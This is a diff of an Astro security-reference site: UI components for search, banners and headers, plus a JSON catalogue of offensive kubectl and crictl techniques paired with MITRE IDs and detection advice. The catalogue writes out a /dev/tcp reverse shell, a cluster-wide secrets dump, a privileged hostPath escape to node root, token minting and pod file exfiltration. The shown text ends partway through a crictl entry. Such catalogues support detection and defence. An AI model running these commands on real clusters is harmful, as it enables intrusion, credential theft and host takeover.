+ else if (e.key === 'ArrowUp') select(sel <= 0 ? list.length - 1 : sel - 1);
+ else if (e.key === 'Home') select(0);
+ else select(list.length - 1);
+ return;
+ }
+ if (isOpen && e.key === 'Enter') {
+ const row = rows()[sel];
+ if (row) { e.preventDefault(); row.click(); }
+ return;
+ }
+
+ if (e.key === 'Escape' && isOpen) close();
+ else if (e.key === '/' && overlay?.hidden && !/^(INPUT|TEXTAREA|SELECT)$/.test((e.target as HTMLElement)?.tagName)) { e.preventDefault(); open(); }
+ else if ((e.key === 'k' || e.key === 'K') && (e.metaKey || e.ctrlKey)) { e.preventDefault(); overlay?.hidden ? open() : close(); }
+ });
+
+ /* Pointer and keyboard share one cursor, so moving the mouse over a row
+ moves the selection to it rather than lighting a second one. */
+ document.addEventListener('pointermove', (e) => {
+ const row = (e.target as HTMLElement)?.closest?.('.s-result');
+ if (!row) return;
+ const i = rows().indexOf(row as HTMLAnchorElement);
+ if (i >= 0 && i !== sel) select(i);
+ });
+
+ /* Following a result navigates client-side, which swaps the modal away
+ without anything calling `close()`. The scroll lock lives on <body>,
+ so release it on the way out rather than leaving the next page
+ unscrollable. */
+ document.addEventListener('astro:before-swap', () => { document.body.style.overflow = ''; });
+ document.addEventListener('astro:after-swap', () => { document.body.style.overflow = ''; });
+</script>
diff --git a/src/components/SectionBanner.astro b/src/components/SectionBanner.astro
@@ -0,0 +1,290 @@
+---
+interface Stat {
+ label: string;
+ value: string | number;
+ /** Paint the value in the banner's accent — one per banner, the number
+ * worth reading first. */
+ accent?: boolean;
+}
+
+interface Props {
+ /** Mono lockup before the rule, e.g. `03 ^: ACTIVE DIRECTORY`. */
+ n: string;
+ label: string;
+ title: string;
+ blurb?: string;
+ stats?: Stat[];
+ accent?: 'iris' | 'foam' | 'love' | 'gold' | 'rose' | 'pine';
+}
+const { n, label, title, blurb, stats = [], accent = 'foam' } = Astro.props;
+
+/**
+ * The page header every route below the home page lands on: dark plate,
+ * live signal field, left scrim, and a ledger on the right.
+ *
+ * Legibility on the plate is carried by two layers, not one — the canvas
+ * erases its own top and bottom bands, AND the scrim gradient sits over
+ * the noise and under the content. Either alone leaves the title sitting
+ * on a bright filament some fraction of the loop.
+ */
+---
+<header class="banner plate bleed" style={`--acc: var(--${accent});`}>
+ <canvas class="banner__field" data-fuzz aria-hidden="true"></canvas>
+ <span class="banner__scrim" aria-hidden="true"></span>
+ <span class="grain grain--local" aria-hidden="true"></span>
+ <!-- CRT film over the signal field — the body row is already z-index 2,
+ so the type stays above the scanlines. -->
+ <span class="scanlines" aria-hidden="true"></span>
+
+ <div class="wrap banner__body">
+ <div>
+ <p class="eyebrow" style={`--acc: var(--${accent});`}>
+ <span class="eyebrow__n">{n}</span>
+ <span class="eyebrow__mark">^:</span>
+ <span>{label}</span>
+ <span class="eyebrow__rule" aria-hidden="true"></span>
+ </p>
+ <h1 class="banner__title" data-unscramble={title}>{title}</h1>
+ {blurb && <p class="banner__blurb">{blurb}</p>}
+ </div>
+
+ {stats.length > 0 && (
+ <dl class="banner__ledger">
+ {stats.map((s) => (
+ <div class={`banner__row${s.accent ? ' banner__row--acc' : ''}`}>
+ <dt>{s.label}</dt>
+ <dd><b>{s.value}</b></dd>
+ </div>
+ ))}
+ </dl>
+ )}
+ </div>
+</header>
+
+<style>
+ /* ---- Cyberdeck chrome for the banner -----------------------------------
+ Hairline frame + CRT film over the dark plate. The plate pins the night
+ palette (`.plate`), so `--rule`/`--rule-hi` below resolve to the night
+ hairlines in both modes — the frame belongs to the plate, not the page. */
+ .banner { border-top: 1px solid var(--rule); }
+ /* Kept faint: the signal field and the grain already texture the plate,
+ and the title has to win every layer stack it sits in. */
+ .banner > .scanlines { opacity: 0.45; }
+ /* The ledger is terminal furniture — JetBrains Mono, same as the segbar. */
+ .banner__ledger {
+ font-family: var(--font-term, 'JetBrains Mono', 'IBM Plex Mono', ui-monospace, monospace);
+ }
+</style>
+
+<script>
+ /**
+ * The banners' signal field: six pixel-sorted streaks drifting on an
+ * additive blend, plus bright filaments, looping seamlessly every nine
+ * seconds.
+ *
+ * Ported from the main site's logic class. Four things are load-bearing
+ * and break the look if changed: the loop-global phase (so two plates on
+ * one page stay in step), the DPR backing (at 1× the streaks are 1–2px
+ * and upscaling blurs the pixel-sorted look), the erasure scrim, and the
+ * synchronous frame zero.
+ */
+
+ /** Band geometry — six streaks, three hues between them. `hue` is a
+ * *slot* (1 = iris, 2 = foam, 3 = love), not a colour: which colour a
+ * slot resolves to, and how it composites, is read from CSS at draw
+ * time so the field follows the mode along with everything else. */
+ const BANDS = [
+ { cy: 0.10, ch: 0.20, hue: 1, drift: 1, cyc: 1, dens: 12 },
+ { cy: 0.34, ch: 0.24, hue: 2, drift: -1, cyc: 2, dens: 15 },
+ { cy: 0.22, ch: 0.14, hue: 3, drift: 2, cyc: 1, dens: 9 },
+ { cy: 0.60, ch: 0.22, hue: 2, drift: 1, cyc: 1, dens: 13 },
+ { cy: 0.80, ch: 0.16, hue: 1, drift: -1, cyc: 2, dens: 10 },
+ { cy: 0.92, ch: 0.14, hue: 3, drift: 1, cyc: 2, dens: 9 },
+ ] as const;
+
+ interface Palette {
+ blend: GlobalCompositeOperation;
+ bands: [string, string, string];
+ filaments: [string, string, string];
+ gain: number;
+ }
+
+ const FALLBACK: Palette = {
+ blend: 'lighter',
+ bands: ['196,167,231', '156,207,216', '235,111,146'],
+ filaments: ['224,222,244', '156,207,216', '196,167,231'],
+ gain: 1,
+ };
+
+ /**
+ * Resolve the palette off the canvas itself, so a plate inside a scope
+ * that pins the night palette draws the dark field even while the page
+ * around it is on paper. Reading the computed style is what makes that
+ * work: the cascade has already answered the question, and the canvas
+ * only has to ask the right element.
+ *
+ * Channels come back space-separated from CSS and the 2D context wants
+ * them comma-separated, hence the normalise.
+ */
+ function readPalette(cv: HTMLCanvasElement): Palette {
+ const cs = getComputedStyle(cv);
+ const channels = (name: string, fallback: string) => {
+ const v = cs.getPropertyValue(name).trim();
+ return v ? v.replace(/\s+/g, ',') : fallback;
+ };
+ const blend = cs.getPropertyValue('--fuzz-blend').trim();
+ const gain = parseFloat(cs.getPropertyValue('--fuzz-gain'));
+ return {
+ blend: (blend || FALLBACK.blend) as GlobalCompositeOperation,
+ bands: [
+ channels('--fuzz-band-1', FALLBACK.bands[0]),
+ channels('--fuzz-band-2', FALLBACK.bands[1]),
+ channels('--fuzz-band-3', FALLBACK.bands[2]),
+ ],
+ filaments: [
+ channels('--fuzz-fil-1', FALLBACK.filaments[0]),
+ channels('--fuzz-fil-2', FALLBACK.filaments[1]),
+ channels('--fuzz-fil-3', FALLBACK.filaments[2]),
+ ],
+ gain: Number.isFinite(gain) ? gain : FALLBACK.gain,
+ };
+ }
+
+ /** One frame of the field at `phase` ∈ [0,1). Every band's drift and
+ * breathe is a whole number of cycles per loop, so the 9s loop seams
+ * cleanly and any two plates on the page stay in step. */
+ function frame(cv: HTMLCanvasElement, phase: number, amt: number, pal: Palette): void {
+ // clientWidth is 0 for the first frames after insert; fall back to the
+ // host box so the field is not blank until the second layout.
+ const host = cv.parentElement;
+ const w = (cv.clientWidth || host?.clientWidth || 0) | 0;
+ const h = (cv.clientHeight || host?.clientHeight || 0) | 0;
+ if (!w || !h) return;
+
+ const dpr = Math.min(2, devicePixelRatio || 1);
+ const bw = Math.round(w * dpr);
+ const bh = Math.round(h * dpr);
+ if (cv.width !== bw || cv.height !== bh) { cv.width = bw; cv.height = bh; }
+
+ const ctx = cv.getContext('2d');
+ if (!ctx) return;
+ ctx.setTransform(dpr, 0, 0, dpr, 0, 0);
+
+ const frac = (x: number) => x - Math.floor(x);
+ const rnd = (s: number) => frac(Math.sin(s * 127.1) * 43758.5453);
+
+ ctx.clearRect(0, 0, w, h);
+ ctx.globalCompositeOperation = pal.blend;
+
+ for (let bi = 0; bi < BANDS.length; bi++) {
+ const b = BANDS[bi];
+ const cy = b.cy * h;
+ const ch = b.ch * h;
+ for (let y = Math.max(0, Math.round(cy - ch)); y < Math.min(h, cy + ch); y += 2) {
+ const fall = 1 - Math.abs(y - cy) / ch;
+ const breathe = 0.5 + 0.5 * Math.sin(2 * Math.PI * (b.cyc * phase + y * 0.004 + bi * 0.3));
+ const env = fall * (0.4 + 0.6 * breathe);
+ if (env <= 0.02) continue;
+ const n = Math.round(env * b.dens * amt);
+ for (let i = 0; i < n; i++) {
+ const s = y * 7.3 + i * 13.7 + bi * 101.3;
+ const x = frac(rnd(s) + phase * b.drift) * (w + 420) - 210;
+ const len = (18 + rnd(s + 1) * 340) * (0.4 + env);
+ const hx = 0.22 + 0.78 * Math.pow(Math.sin(Math.PI * ((x / w) * (1 + (bi % 3)) + phase + rnd(bi * 9))), 2);
+ const a = (0.06 + rnd(s + 2) * 0.34) * env * hx * 1.7 * pal.gain;
+ ctx.fillStyle = `rgba(${pal.bands[b.hue - 1]},${a.toFixed(3)})`;
+ ctx.fillRect(x, y, len, rnd(s + 3) > 0.84 ? 2 : 1);
+ }
+ }
+ }
+
+ for (let i = 0; i < 54; i++) {
+ const s = i * 37.1;
+ const y = Math.round((rnd(s) * h) / 2) * 2;
+ const cyc = 1 + (i % 2);
+ const x = frac(rnd(s + 5) + phase * cyc) * (w + 700) - 350;
+ const a = (0.1 + rnd(s + 6) * 0.28) * amt * pal.gain;
+ ctx.fillStyle = `rgba(${pal.filaments[i % 3]},${a.toFixed(3)})`;
+ ctx.fillRect(x, y, 120 + rnd(s + 7) * 520, 1);
+ }
+
+ // Scrim by erasure: destination-out bands at top and bottom so type
+ // near the plate edges always sits on clean ink. The percentage clamp
+ // matters — a fixed 40px erased most of the short plates.
+ ctx.globalCompositeOperation = 'destination-out';
+ const solid = Math.min(40, h * 0.14);
+ const ramp = Math.min(26, h * 0.1);
+ ctx.fillStyle = 'rgba(0,0,0,1)';
+ ctx.fillRect(0, 0, w, solid);
+ ctx.fillRect(0, h - solid, w, solid);
+ let g = ctx.createLinearGradient(0, solid, 0, solid + ramp);
+ g.addColorStop(0, 'rgba(0,0,0,1)');
+ g.addColorStop(1, 'rgba(0,0,0,0)');
+ ctx.fillStyle = g;
+ ctx.fillRect(0, solid, w, ramp);
+ g = ctx.createLinearGradient(0, h - solid - ramp, 0, h - solid);
+ g.addColorStop(0, 'rgba(0,0,0,0)');
+ g.addColorStop(1, 'rgba(0,0,0,1)');
+ ctx.fillStyle = g;
+ ctx.fillRect(0, h - solid - ramp, w, ramp);
+ ctx.globalCompositeOperation = 'source-over';
+ }
+
+ /** Density scale. The main site ships at 6; the constant exists for
+ * tuning, not for the UI. */
+ const PRESS = 6;
+ /** The frame reduced motion keeps as the permanent texture — mid-loop,
+ * where the bands are at their fullest rather than at a seam. */
+ const STILL = 0.3;
+
+ function initFuzz(): void {
+ const canvases = document.querySelectorAll<HTMLCanvasElement>('[data-fuzz]:not([data-bound])');
+ canvases.forEach((cv) => {
+ cv.dataset.bound = '1';
+ const amt = Math.max(0.2, PRESS / 5);
+ const reduced = matchMedia('(prefers-reduced-motion: reduce)').matches;
+
+ // Resolved once per mode rather than once per frame: getComputedStyle
+ // flushes style on a canvas repainting at 60fps, and there is nothing
+ // to re-read between mode changes.
+ let pal = readPalette(cv);
+
+ // Draw frame zero synchronously. rAF never fires in a hidden tab,
+ // during print, or in a screenshot, and a schedule-only start leaves
+ // the canvas at its 300×150 default — a bare plate in every capture.
+ const still = () => frame(cv, STILL, amt, pal);
+ frame(cv, reduced ? STILL : (performance.now() / 9000) % 1, amt, pal);
+
+ // The animated loop re-measures every frame, so it absorbs resizes on
+ // its own; the static frame needs the observer to stay crisp.
+ const ro = new ResizeObserver(() => { if (reduced) still(); });
+ ro.observe(cv.parentElement ?? cv);
+
+ // A bitmap does not inherit. The variables have already changed by
+ // the time this fires, so re-reading them is all it takes — but a
+ // still frame has to be redrawn by hand, or the plate keeps the old
+ // palette until something else resizes it.
+ const onMode = () => { pal = readPalette(cv); if (reduced) still(); };
+ addEventListener('daemonmodechange', onMode);
+
+ let raf = 0;
+ if (!reduced) {
+ const loop = (now: number) => {
+ frame(cv, (now / 9000) % 1, amt, pal);
+ raf = requestAnimationFrame(loop);
+ };
+ raf = requestAnimationFrame(loop);
+ }
+
+ document.addEventListener('astro:before-swap', () => {
+ cancelAnimationFrame(raf);
+ ro.disconnect();
+ removeEventListener('daemonmodechange', onMode);
+ }, { once: true });
+ });
+ }
+
+ document.addEventListener('astro:page-load', initFuzz);
+ if (document.readyState !== 'loading') initFuzz();
+ else document.addEventListener('DOMContentLoaded', initFuzz);
+</script>
diff --git a/src/components/SectionHeader.astro b/src/components/SectionHeader.astro
@@ -0,0 +1,26 @@
+---
+interface Props {
+ eyebrow: string;
+ title: string;
+ intro?: string;
+ /** Heading + eyebrow colour — each section is keyed to a different accent. */
+ tone?: 'ink' | 'pine' | 'iris' | 'love' | 'gold' | 'foam' | 'rose';
+ class?: string;
+}
+const { eyebrow, title, intro, tone = 'ink', class: cls } = Astro.props;
+
+/**
+ * The three-column header every archive section opens with — mono eyebrow,
+ * oversized display heading, short intro — ported from the main site's
+ * SectionHeader. The eyebrow takes the section's own accent rather than a
+ * neutral; the heading tone is keyed to the same. Stacks below the lg break.
+ */
+// The eyebrow always uses an accent (never bare ink); the title follows tone.
+const eyebrowVar = tone === 'ink' ? 'var(--pine)' : `var(--${tone})`;
+const titleVar = tone === 'ink' ? 'var(--text)' : `var(--${tone})`;
+---
+<div class:list={['sec-head', cls]}>
+ <span class="sec-head__eyebrow" style={`--tone: ${eyebrowVar};`}>{eyebrow}</span>
+ <h2 class="sec-head__title" style={`--tone: ${titleVar};`}>{title}</h2>
+ {intro && <p class="sec-head__intro">{intro}</p>}
+</div>
diff --git a/src/components/SlantTitle.astro b/src/components/SlantTitle.astro
@@ -0,0 +1,105 @@
+---
+/**
+ * The slanted page banner — ported from daemon-sec.xyz's SlantTitle. A slab
+ * skewed skewX(-11deg) in the section's accent, the title counter-skewed so
+ * the letterforms stay upright, and a misregistered ink edge nudged up-left so
+ * the pair reads as two printing plates rather than one bordered box.
+ *
+ * The accent is a theme-aware Rosé Pine semantic token, so the slab keeps its
+ * role in both Dawn and Night. The title decodes on view via app.ts's
+ * initUnscramble() (data-unscramble), and the edge registers in with a CSS
+ * settle that collapses to nothing under prefers-reduced-motion.
+ */
+type Tone = 'love' | 'iris' | 'pine' | 'foam' | 'gold' | 'rose';
+interface Props {
+ eyebrow: string;
+ title: string;
+ intro?: string;
+ tone?: Tone;
+}
+const { eyebrow, title, intro, tone = 'pine' } = Astro.props;
+const SKEW = -11;
+---
+<header class="slant" style={`--acc: var(--${tone});`}>
+ <p class="slant__eyebrow">{eyebrow}</p>
+ <div class="slant__box">
+ <span class="slant__edge" aria-hidden="true" style={`transform: skewX(${SKEW}deg);`}></span>
+ <h1 class="slant__plate" style={`transform: skewX(${SKEW}deg);`}>
+ <span class="slant__title" data-unscramble={title} style={`transform: skewX(${-SKEW}deg);`}>{title}</span>
+ </h1>
+ </div>
+ {intro && <p class="slant__intro">{intro}</p>}
+ {(Astro.slots.has('meta')) && <div class="slant__meta"><slot name="meta" /></div>}
+</header>
+
+<style>
+ .slant { display: block; }
+ .slant__eyebrow {
+ font-family: var(--font-plex);
+ font-size: 10.5px;
+ letter-spacing: 0.22em;
+ text-transform: uppercase;
+ color: var(--acc);
+ margin: 0;
+ }
+ .slant__box { position: relative; display: inline-block; margin-top: 1rem; }
+ .slant__edge {
+ position: absolute;
+ top: -7px;
+ left: -7px;
+ height: 100%;
+ width: 100%;
+ border: 2px solid var(--fg);
+ transform-origin: center;
+ animation: slant-edge 900ms var(--ease) both;
+ }
+ .slant__plate {
+ position: relative;
+ margin: 0;
+ padding: 14px 26px;
+ background: var(--acc);
+ color: var(--base);
+ transform-origin: center;
+ animation: slant-plate 900ms var(--ease) both;
+ }
+ .slant__title {
+ display: block;
+ font-family: var(--font-archivo);
+ font-weight: 900;
+ font-size: clamp(30px, 5.4vw, 62px);
+ line-height: 0.94;
+ letter-spacing: -0.03em;
+ font-stretch: 76%;
+ text-transform: uppercase;
+ }
+ .slant__intro {
+ margin-top: 1.75rem;
+ max-width: 62ch;
+ font-size: 16px;
+ line-height: 1.6;
+ color: var(--fg);
+ text-wrap: pretty;
+ }
+ .slant__meta {
+ margin-top: 1.75rem;
+ display: flex;
+ flex-wrap: wrap;
+ align-items: center;
+ gap: 0.5rem 2rem;
+ border-top: 1px solid var(--rule);
+ padding-top: 1rem;
+ font-family: var(--font-plex);
+ font-size: 10px;
+ letter-spacing: 0.18em;
+ text-transform: uppercase;
+ color: var(--acc);
+ }
+ @keyframes slant-edge {
+ from { opacity: 0.25; top: -22px; left: -33px; }
+ to { opacity: 1; top: -7px; left: -7px; }
+ }
+ @keyframes slant-plate {
+ from { transform: skewX(-11deg) translate(14px, -6px); }
+ to { transform: skewX(-11deg) translate(0, 0); }
+ }
+</style>
diff --git a/src/data/daemon-backlog.json b/src/data/daemon-backlog.json
@@ -0,0 +1,1268 @@
+[
+ {
+ "toolName": "kubectl",
+ "toolId": "kubectl",
+ "platform": [
+ "Linux",
+ "Windows"
+ ],
+ "capability": [
+ "Execution",
+ "Reverse/Bind Shell"
+ ],
+ "nativeCategory": [
+ "Execute",
+ "Container Administration"
+ ],
+ "command": "kubectl exec -it pod-x -n ns-x -- /bin/sh\nkubectl exec pod-x -n ns-x -- bash -c \"bash -i >& /dev/tcp/10.10.10.10/4444 0>&1\"",
+ "description": "Runs an arbitrary command inside an already-running pod through the Kubernetes API's pods/exec subresource, giving an interactive shell without deploying anything new. With a token that has the exec verb, an operator can pivot into any reachable workload and, as shown, spawn a reverse shell back to a listener.",
+ "usecase": "Interactively run commands or pop a shell inside an existing pod using only exec RBAC, avoiding creation of new objects.",
+ "mitre": [
+ "T1609"
+ ],
+ "privilege": "user",
+ "detection": "Kubernetes API audit log create events on the pods/exec subresource (objectRef.subresource=exec). Alert on exec into production/system namespaces, exec by service-account identities that normally never exec, and exec commands spawning shells (sh, bash, /dev/tcp). Correlate with kubelet logs.",
+ "references": [
+ "https://attack.mitre.org/techniques/T1609/",
+ "https://kubernetes.io/docs/reference/kubectl/generated/kubectl_exec/"
+ ],
+ "verifyNote": "MITRE T1609 page explicitly names `kubectl exec` as a procedure; kubectl_exec generated docs confirm -it/-n/-- syntax. Binary absent from GTFOBins/LOLBAS/WADComs."
+ },
+ {
+ "toolName": "kubectl",
+ "toolId": "kubectl",
+ "platform": [
+ "Linux"
+ ],
+ "capability": [
+ "Credential Access",
+ "Collection"
+ ],
+ "nativeCategory": [
+ "Credential Access"
+ ],
+ "command": "kubectl get secrets --all-namespaces -o json\nkubectl get secret secret-x -n ns-x -o jsonpath='{.data.token}' | base64 -d",
+ "description": "Lists Kubernetes Secret objects and dumps their contents. Secret data is only base64-encoded in the API, so a single get/list on the secrets resource returns service-account tokens, registry pull creds, TLS keys and app passwords in recoverable form. --all-namespaces harvests every namespace the identity can read.",
+ "usecase": "Harvest tokens, cloud keys and passwords cluster-wide from the API when the compromised identity holds get/list on secrets.",
+ "mitre": [
+ "T1552.007"
+ ],
+ "privilege": "user",
+ "detection": "Enable RequestResponse-level audit on the secrets resource. Alert on list/get across many namespaces or all-namespaces, especially from service accounts. Red Canary Atomic T1552.007 mirrors this. Watch /api/v1/secrets and /api/v1/namespaces/*/secrets GET/LIST spikes.",
+ "references": [
+ "https://attack.mitre.org/techniques/T1552/007/",
+ "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1552.007/T1552.007.md",
+ "https://kubernetes.io/docs/concepts/configuration/secret/"
+ ],
+ "verifyNote": "MITRE T1552.007 (Container API) description explicitly covers using the Kubernetes API to retrieve Secrets; Red Canary Atomic T1552.007 replicates `kubectl get secrets`. Secrets are base64, not encrypted (k8s Secret docs)."
+ },
+ {
+ "toolName": "kubectl",
+ "toolId": "kubectl",
+ "platform": [
+ "Linux"
+ ],
+ "capability": [
+ "Privilege Escalation",
+ "Execution"
+ ],
+ "nativeCategory": [
+ "Escape to Host",
+ "Deploy Container"
+ ],
+ "command": "kubectl run pod-x -n ns-x --restart=Never -it --rm --image=alpine --overrides='{\"spec\":{\"hostPID\":true,\"containers\":[{\"name\":\"c\",\"image\":\"alpine\",\"stdin\":true,\"tty\":true,\"command\":[\"/bin/sh\"],\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"name\":\"host\",\"mountPath\":\"/host\"}]}],\"volumes\":[{\"name\":\"host\",\"hostPath\":{\"path\":\"/\"}}]}}'\n# then inside: chroot /host sh",
+ "description": "Uses the --overrides flag of kubectl run to inject a raw pod spec that is privileged, shares the host PID namespace and mounts the node root filesystem via a hostPath volume. Once scheduled, chroot /host yields a root shell on the underlying node, escaping the cluster's isolation boundary.",
+ "usecase": "Escape from cluster tenant to full node root when the identity can create pods with privileged/hostPath specs (no PodSecurity restricted).",
+ "mitre": [
+ "T1611",
+ "T1610"
+ ],
+ "privilege": "user",
+ "detection": "Audit pods/create where securityContext.privileged=true, hostPID/hostNetwork/hostIPC=true, or volumes[].hostPath is set (especially path /). Enforce Pod Security Admission 'restricted' or an admission controller (OPA/Kyverno) to block these specs and alert on rejections.",
+ "references": [
+ "https://attack.mitre.org/techniques/T1611/",
+ "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.html"
+ ],
+ "verifyNote": "`--overrides` is a documented kubectl run flag (inline JSON merged into the generated object); kubernetes/kubectl#721 and HackTricks document it as the privileged/hostPath escape workaround. T1611 (Escape to Host)+T1610 (Deploy Container) correct."
+ },
+ {
+ "toolName": "kubectl",
+ "toolId": "kubectl",
+ "platform": [
+ "Linux"
+ ],
+ "capability": [
+ "Privilege Escalation",
+ "File Read"
+ ],
+ "nativeCategory": [
+ "Node Access",
+ "Escape to Host"
+ ],
+ "command": "kubectl debug node/node-x -it --image=alpine --profile=sysadmin\n# then inside the debug pod: chroot /host sh",
+ "description": "kubectl debug node creates a debugging pod that runs in the target node's host namespaces with the node root filesystem mounted at /host. Combined with --profile=sysadmin (privileged) and chroot /host it provides root-level access to the node's disk and processes, a supported feature repurposed for host takeover.",
+ "usecase": "Obtain node filesystem/root access through the sanctioned node-debug path when create-pods on nodes is permitted.",
+ "mitre": [
+ "T1611"
+ ],
+ "privilege": "user",
+ "detection": "Audit for pod create with names matching node-debugger-* and node-scoped debug pods carrying host namespaces or --profile=sysadmin. Alert on debug pods mounting /host or running chroot. Restrict the node/debug capability via RBAC.",
+ "references": [
+ "https://kubernetes.io/docs/tasks/debug/debug-cluster/kubectl-node-debug/",
+ "https://kubernetes.io/docs/reference/kubectl/generated/kubectl_debug/"
+ ],
+ "verifyNote": "kubernetes.io 'Debugging Kubernetes Nodes With Kubectl' page (fetched live) confirms node root mounts at /host, that plain debug is not privileged so chroot /host fails unless `--profile=sysadmin` is used; T1611. Both refs live."
+ },
+ {
+ "toolName": "kubectl",
+ "toolId": "kubectl",
+ "platform": [
+ "Linux",
+ "Windows"
+ ],
+ "capability": [
+ "File Copy",
+ "Collection"
+ ],
+ "nativeCategory": [
+ "File Copy",
+ "Collection"
+ ],
+ "command": "kubectl cp ns-x/pod-x:/etc/passwd /tmp/x\nkubectl cp /tmp/x ns-x/pod-x:/tmp/x",
+ "description": "Copies files and directories out of or into a pod. Under the hood kubectl cp streams a tar archive through the pods/exec subresource (the container image must contain tar), so it doubles as a data-exfiltration and tool-staging channel that only needs exec permission.",
+ "usecase": "Pull sensitive files out of a pod or stage attacker tooling into it using nothing but exec/cp rights.",
+ "mitre": [
+ "T1609"
+ ],
+ "privilege": "user",
+ "detection": "cp rides pods/exec, so audit exec create events invoking tar (command contains 'tar -cf -' or 'tar -xmf -'). Alert on exec+tar into/out of sensitive workloads and on large streamed transfers correlated with exec sessions.",
+ "references": [
+ "https://kubernetes.io/docs/reference/kubectl/generated/kubectl_cp/",
+ "https://attack.mitre.org/techniques/T1609/"
+ ],
+ "verifyNote": "kubectl_cp generated docs confirm cp streams a tar via the exec subresource and requires tar in the container image; T1609 justified because cp executes tar in-container. Absent from GTFOBins/LOLBAS."
+ },
+ {
+ "toolName": "kubectl",
+ "toolId": "kubectl",
+ "platform": [
+ "Linux"
+ ],
+ "capability": [
+ "Discovery"
+ ],
+ "nativeCategory": [
+ "Discovery"
+ ],
+ "command": "kubectl auth can-i --list\nkubectl auth can-i create pods -n ns-x\nkubectl auth can-i --list --as=system:serviceaccount:ns-x:sa-x",
+ "description": "Queries the RBAC authorizer (SelfSubjectRulesReview / SelfSubjectAccessReview) to enumerate exactly which resources and verbs the current identity is allowed. --list dumps the full permission matrix; --as combines with impersonation rights to map another subject's power without using its credentials.",
+ "usecase": "Enumerate the compromised token's RBAC reach (and plan escalation) before taking any noisy action.",
+ "mitre": [
+ "T1069"
+ ],
+ "privilege": "user",
+ "detection": "Audit create events on selfsubjectrulesreviews / selfsubjectaccessreviews (a public Sigma rule flags RBAC permission listing). A burst of can-i / --list right after a new token appears is a strong recon signal; alert on impersonation (--as) combined with these reviews.",
+ "references": [
+ "https://kubernetes.io/docs/reference/access-authn-authz/authorization/#checking-api-access",
+ "https://detection.fyi/sigmahq/sigma/application/kubernetes/audit/kubernetes_audit_rbac_permisions_listing/"
+ ],
+ "verifyNote": "can-i --list uses SelfSubjectRulesReview (k8s authz docs, 'Checking API access'); detection.fyi Sigma rule 'RBAC Permission Enumeration Attempt' fetched live (it tags T1069.003/T1087.004 — parent T1069 retained as correct)."
+ },
+ {
+ "toolName": "kubectl",
+ "toolId": "kubectl",
+ "platform": [
+ "Linux"
+ ],
+ "capability": [
+ "Lateral Movement"
+ ],
+ "nativeCategory": [
+ "Lateral Movement",
+ "Proxy"
+ ],
+ "command": "kubectl port-forward svc/svc-x -n ns-x 8080:80\nkubectl port-forward --address 0.0.0.0 pod-x -n ns-x 8080:8080",
+ "description": "Opens a tunnel from the operator's machine, through the API server and kubelet, to a port on a pod or service via the pods/portforward subresource. This reaches ClusterIP-only services (databases, internal admin UIs, dashboards) that are otherwise unroutable, and --address 0.0.0.0 can expose the tunnel to other hosts.",
+ "usecase": "Reach cluster-internal services (DBs, dashboards, metadata proxies) from outside without deploying a pod.",
+ "mitre": [
+ "T1090.001"
+ ],
+ "privilege": "user",
+ "detection": "Audit create on the pods/portforward subresource (objectRef.subresource=portforward). Alert on port-forward to sensitive services (etcd, databases, dashboards), long-lived forwards, and --address bindings other than localhost.",
+ "references": [
+ "https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands#port-forward",
+ "https://attack.mitre.org/techniques/T1090/001/"
+ ],
+ "verifyNote": "Command real: `kubectl port-forward` with the pods/portforward subresource and the `--address` flag are documented in kubectl docs. FIX: MITRE changed T1609->T1090.001 (Internal Proxy) and reference swapped accordingly — T1609 is defined as executing commands within a container, which port-forward does not do; it establishes a proxy tunnel to internal services."
+ },
+ {
+ "toolName": "kubectl",
+ "toolId": "kubectl",
+ "platform": [
+ "Linux"
+ ],
+ "capability": [
+ "Credential Access"
+ ],
+ "nativeCategory": [
+ "Credential Access",
+ "Token Request"
+ ],
+ "command": "kubectl create token sa-x -n ns-x --duration=999999h",
+ "description": "Requests a bound service-account token through the TokenRequest API. An identity that can create serviceaccounts/token for a more-privileged service account can mint a fresh bearer token for it and assume its permissions, with --duration pushing the expiry far out.",
+ "usecase": "Mint a valid bearer token for a higher-privileged service account to escalate or persist.",
+ "mitre": [
+ "T1528"
+ ],
+ "privilege": "user",
+ "detection": "Audit create on the serviceaccounts/token subresource (TokenRequest). Alert when a subject requests tokens for service accounts it does not own, on unusually long --duration / requested expirationSeconds, and on token requests for privileged SAs (e.g. cluster-admin-bound).",
+ "references": [
+ "https://kubernetes.io/docs/reference/kubectl/generated/kubectl_create/kubectl_create_token/",
+ "https://attack.mitre.org/techniques/T1528/"
+ ],
+ "verifyNote": "kubectl_create_token generated docs confirm `create token` is backed by the TokenRequest API and that `--duration` sets the requested token lifetime; T1528 (Steal Application Access Token) fits assuming a higher-priv SA. Server may cap very long durations, but the flag is real."
+ },
+ {
+ "toolName": "kubectl",
+ "toolId": "kubectl",
+ "platform": [
+ "Linux",
+ "Windows"
+ ],
+ "capability": [
+ "Discovery"
+ ],
+ "nativeCategory": [
+ "Discovery"
+ ],
+ "command": "kubectl get pods -A -o wide\nkubectl get nodes -o wide\nkubectl get all -A -o yaml",
+ "description": "Enumerates cluster resources: pods and their node placement/IPs, nodes and addresses, and full object manifests. -o yaml exposes environment variables, mounted volumes, image references and annotations that frequently leak credentials and reveal the escape/lateral-movement surface.",
+ "usecase": "Map workloads, nodes and embedded config/secrets to plan lateral movement and host escape.",
+ "mitre": [
+ "T1613"
+ ],
+ "privilege": "user",
+ "detection": "Audit high-volume list/get across pods, nodes and other resources (especially -A / cluster-scoped) from a single identity in a short window. Baseline normal read patterns per service account and alert on broad enumeration by identities that usually touch one namespace.",
+ "references": [
+ "https://attack.mitre.org/techniques/T1613/",
+ "https://kubernetes.io/docs/reference/kubectl/generated/kubectl_get/"
+ ],
+ "verifyNote": "kubectl_get generated docs confirm -A/--all-namespaces, -o wide and -o yaml; T1613 (Container and Resource Discovery) is the correct technique for cluster resource enumeration."
+ },
+ {
+ "toolName": "crictl",
+ "toolId": "crictl",
+ "platform": [
+ "Linux"
+ ],
+ "capability": [
+ "Execution"
+ ],
+ "nativeCategory": [
+ "Execute",
+ "Container Administration"
+ ],
+ "command": "crictl ps\ncrictl exec -it CONTAINERID sh",
+ "description": "crictl is the CRI debugging CLI that talks directly to the node's container runtime (containerd/CRI-O) socket, bypassing the API server and kubelet policy entirely. From a compromised node, crictl ps lists running containers and crictl exec drops an interactive shell into any of them, including other tenants' workloads.",
